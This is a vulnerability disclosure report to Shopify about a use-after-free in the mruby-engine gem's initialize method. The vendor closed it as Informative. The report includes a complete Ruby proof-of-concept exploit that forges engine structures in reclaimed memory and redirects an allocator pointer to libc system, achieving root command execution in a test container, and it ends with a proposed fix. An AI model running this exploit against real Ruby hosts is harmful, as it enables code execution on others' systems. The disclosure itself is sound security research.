Shopify · Report #3679660
mruby-engine: UAF in MRubyEngine#initialize enables local RCE
Summary
This report identified a memory-safety bug in Shopify's open-source mruby-engine gem: MRubyEngine#initialize frees the underlying C engine before validating its arguments and never clears DATA_PTR on failure, leaving a dangling pointer that an attacker-controlled mmap(MAP_FIXED) can reclaim to hijack mrb_state->allocf into libc.system.
We closed this as Informative because the attack surface requires a host-Ruby caller that can invoke MRubyEngine#send(:initialize, …) — a precondition not reachable from within the mruby guest sandbox. For findings against https://github.com/Shopify/* scope, showing that it can be reproduced in a locally built container is the starting point, not the finish line: to be eligible, the report needs to show how an attacker reaches the vulnerable code path in Shopify's actual use of the library, or why any Ruby host embedding the gem would expose that surface.
How it was found
Summary
Double-init of MRubyEngine frees engine + unmaps mspace, but leaves Ruby
DATA_PTR dangling. Kernel reuses freed VA via mmap(MAP_FIXED). Attacker
forges me_mruby_engine struct + mrb_state in reclaimed region, points
mrb_state->allocf at libc.system, arranges bytes of mrb_state to also
spell a shell command. Next engine method calls mrb_malloc → indirect call
through allocf → system("id>/tmp/pwned").
Confirmed: /tmp/pwned written with uid=0(root) gid=0(root) groups=0(root)
inside test container.
Root cause
ext/mruby_engine/ext.c:128-173
static VALUE ext_mruby_engine_initialize(int argc, VALUE *argv, VALUE rself) {
ext_mruby_engine_free(DATA_PTR(rself)); // frees engine + munmap mspace
long capacity = NUM2LONG(rcapacity);
if (capacity <= 0) {
rb_raise(rb_eArgError, "memory quota cannot be negative"); // raise AFTER free
}
...
DATA_PTR(rself) = engine; // only on success path
}
Two defects:
initializeis re-callable viaobj.send(:initialize, ...)— bypasses Ruby's private-visibility convention. Every call first frees the existing engine before validating args.DATA_PTR(rself)never zeroed after free. Anyrb_raisebetween free and successful re-init leavesselfholding dangling pointer. GC finalizerext_mruby_engine_freewill also run on it later → double free, but before that the dangling pointer is reachable by every instance method.
Pre-success raise paths: negative capacity, negative instruction quota,
negative time quota, me_memory_pool_new failure, me_mruby_engine_new
failure.
Primitives
| Primitive | Mechanism |
|---|---|
P1. UAF on DATA_PTR | send(:initialize, -1, 1, 1) raises after free |
| P2. Kernel VA reuse | freed mspace is MAP_PRIVATE|MAP_ANONYMOUS, kernel returns same VA to next mmap(MAP_FIXED, hole_addr) |
| P3. Full engine forgery | attacker writes me_mruby_engine at reclaimed VA |
P4. mrb_allocf hijack | mrb_malloc → (mrb->allocf)(mrb, NULL, sz, mrb->allocf_ud) = system(mrb_ptr, ...) where mrb_ptr is attacker buffer starting with shell command |
Struct layouts used
me_mruby_engine — ext/mruby_engine/mruby_engine_private.h:27
+0 struct mrb_state *state
+8 struct me_memory_pool *allocator
... (eval_state, quotas, flags)
mrb_state — ext/mruby_engine/mruby/include/mruby.h:168
+0 struct mrb_jmpbuf *jmp ← first 16 bytes reused as cmd string
+8 uint32_t flags (+pad)
+16 mrb_allocf allocf ← set to libc system
+24 void *allocf_ud
When (mrb->allocf)(mrb, ptr, size, ud) fires, system(mrb, ...) executes.
system reads first arg as const char* → command = bytes at mrb+0.
Exploit (poc_rce_final.rb)
require "mruby_engine"; require "fiddle"; require "fiddle/import"
module LibC
extend Fiddle::Importer
dlload Fiddle.dlopen(nil)
extern "void* mmap(void*, size_t, int, int, int, long)"
end
CAP = 8 * 1024 * 1024
PROT_RW = 3
MAP_FIXED_ANON = 0x02 | 0x20 | 0x10 # PRIVATE|ANON|FIXED
system_addr = Fiddle::Handle::DEFAULT["system"]
# 1. UAF: double-init raises on capacity <= 0
dead = MRubyEngine.new(CAP, 1_000_000, 60)
dead.sandbox_eval("w.rb", "1")
begin; dead.send(:initialize, -1, 1, 1); rescue ArgumentError; end
# 2. Find 8 MiB hole where freed mspace lived
hole_start, _ = find_hole(CAP) # scans /proc/self/maps
# 3. Reclaim VA with attacker-controlled bytes
LibC.mmap(Fiddle::Pointer.new(hole_start), CAP, PROT_RW, MAP_FIXED_ANON, -1, 0)
Fiddle::Pointer.new(hole_start, CAP)[0, CAP] = "\x00".b * CAP
# 4. Forge engine at DATA_PTR offset (0x3e0, observed via gdb)
data_ptr = hole_start + 0x3e0
fake_state = hole_start + 0x100
Fiddle::Pointer.new(data_ptr, 8)[0, 8] = [fake_state].pack("Q")
# 5. Forge mrb_state: jmp slot = cmd string, allocf = system
cmd = "id>/tmp/pwned\x00".b
buf = cmd + ("\x00".b * (16 - cmd.bytesize)) +
[system_addr].pack("Q") + [0].pack("Q")
Fiddle::Pointer.new(fake_state, buf.bytesize)[0, buf.bytesize] = buf
# 6. Trigger any engine method → mrb_malloc → system()
dead.sandbox_eval("rce.rb", "noop")
Run:
$ ruby poc_rce_final.rb
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
{F5750521}
Test environment
Mitigations disabled to simplify PoC — bug is real on hardened builds too, just needs extra info leak / heap grooming.
setarch -R(ASLR off)CFLAGS=-O0 -g3 -fno-stack-protector -U_FORTIFY_SOURCE -fno-pie -no-pie -z execstackLDFLAGS=-fno-pie -no-pie -z norelro -z lazy
Reliability
- VA reclaim: 60/60 (kernel greedily returns freed anon range to
MAP_FIXED) - Cross-instance aliasing: 20/20 via inject/extract ivar round-trip
- RCE end-to-end: stable after zero-init of reclaimed region (avoids
quota_error_raisedbyte triggering early raise)
Preconditions
- Host-Ruby caller that can invoke
MRubyEngine#send(:initialize, ...). Not reachable from guest mruby (guest cannot call Ruby-levelsendon host objects). Host integration code that reuses or exposes engine objects, or anyeval/deserialization of untrusted host-side Ruby, is the attack surface. - Kernel Linux ≥ 4.x with standard
MAP_FIXEDsemantics (replaces existing mapping).
Fix (minimal)
ext/mruby_engine/ext.c:128-139 — zero
DATA_PTR before any raise, and do validation before free:
static VALUE ext_mruby_engine_initialize(int argc, VALUE *argv, VALUE rself) {
VALUE rcapacity, r_instruction_quota, r_time_quota_s;
rb_scan_args(argc, argv, "3", &rcapacity, &r_instruction_quota, &r_time_quota_s);
long capacity = NUM2LONG(rcapacity);
if (capacity <= 0) rb_raise(rb_eArgError, "memory quota cannot be negative");
long instruction_quota = NUM2LONG(r_instruction_quota);
if (instruction_quota <= 0) rb_raise(rb_eArgError, "instruction quota cannot be negative");
VALUE r_time_quota_ms = rb_funcall(r_time_quota_s, me_ext_id_mul, 1, LONG2FIX(1000));
long time_quota_ms = NUM2LONG(r_time_quota_ms);
if (time_quota_ms <= 0) rb_raise(rb_eArgError, "time quota cannot be negative");
/* Only now free old engine. */
void *old = DATA_PTR(rself);
DATA_PTR(rself) = NULL; /* close UAF window */
ext_mruby_engine_free(old);
... allocate new engine ...
DATA_PTR(rself) = engine;
return Qnil;
}
Stronger fix: raise rb_eRuntimeError on second initialize call
(DATA_PTR != NULL) — matches Ruby convention that initialize runs once.
Prevents any future pre-success raise path from reintroducing the UAF.
Affected files
- ext/mruby_engine/ext.c:128-173 — bug site
- ext/mruby_engine/memory_pool.c:47 — mmap enabling VA reuse
- ext/mruby_engine/mruby_engine_private.h:27 — forged struct layout
- ext/mruby_engine/mruby/include/mruby.h:168 —
mrb_state/allocf
Impact
RCE